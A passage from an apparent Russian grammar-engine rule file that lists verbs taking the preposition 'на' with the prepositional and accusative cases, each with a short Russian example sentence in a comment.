столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок 